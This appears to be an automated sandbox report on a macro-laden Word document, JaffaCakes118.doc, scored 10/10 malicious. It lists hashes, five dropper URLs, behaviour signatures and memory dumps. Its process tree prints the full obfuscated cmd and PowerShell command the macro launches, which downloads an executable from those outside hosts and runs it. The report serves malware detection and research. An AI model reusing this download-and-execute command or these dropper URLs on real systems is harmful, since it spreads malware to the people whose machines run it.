Overview

overview

10

Static

static

8

654f55c80b...18.doc

windows7-x64

10

654f55c80b...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 00:15

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    654f55c80b1d97dfb2f853259df8f729_JaffaCakes118.doc

  • Size

    71KB

  • MD5

    654f55c80b1d97dfb2f853259df8f729

  • SHA1

    4e630ed5e6415c4c10e582abb0e4d4bc4702768a

  • SHA256

    b5bf06fae173a18e200d6f62b55afc01d5719fed8daddedeec10d4a4b64f730b

  • SHA512

    d80c6ab4ae6cc296cd944008388e6711d82b9d8b8b04ef14162127f4b4d56656f6bd17bbd77a20611428d7d3a342c8fc3ea2af7335ca559d221d255084210cea

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr
exe.dropper

http://economiadigital.biz/NKq5eOZ
exe.dropper

http://ftp.dailyignite.club/YNB95t2
exe.dropper

http://migoshen.org/FNE1TVJjI
exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\654f55c80b1d97dfb2f853259df8f729_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3004
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2484

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BF44EF85.wmf
      Filesize

      494B

      MD5

      a9c14aae3ecb7dc90167f10f4686daed

      SHA1

      05ffb737752b4b4b52c10505e91e5e6882e7e6a1

      SHA256

      15e70676a856ec1900a72a6764716ba9d1195d1d7c5a5bcaa25eaef12978b789

      SHA512

      2b37ca2897d5dc20a30a602618278509b2cc7d43086debb36bf1bba38d6e221a1a17fe451b474fb6883ecadcc9de5cb0b7ea4a44813102dcb77cc029a7dff469

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      c7551f3eae97a8b00c058ec394382178

      SHA1

      273721eb9847d56abc3f29af66c987690a431324

      SHA256

      790f39ea1b273148eb8762f5f9cc332eff73119cbd746555cfc1b4a85a11cae6

      SHA512

      d19d75cb1d47cd16ccdf6ff9a2f4eee44330d13ada228bba05803c883486706c875157fba951eedf1404ac92877f6c476902f64b5c60c0c96fac663bd8b9252d

      Download Submit

    • memory/2212-28-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-24-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-2-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2212-22-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-26-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-29-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-0-0x000000002FD61000-0x000000002FD62000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2212-31-0x0000000006020000-0x0000000006120000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-27-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-8-0x00000000047B0000-0x00000000048B0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-23-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-41-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2212-42-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-43-0x0000000006020000-0x0000000006120000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2212-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2212-59-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2212-64-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

      Download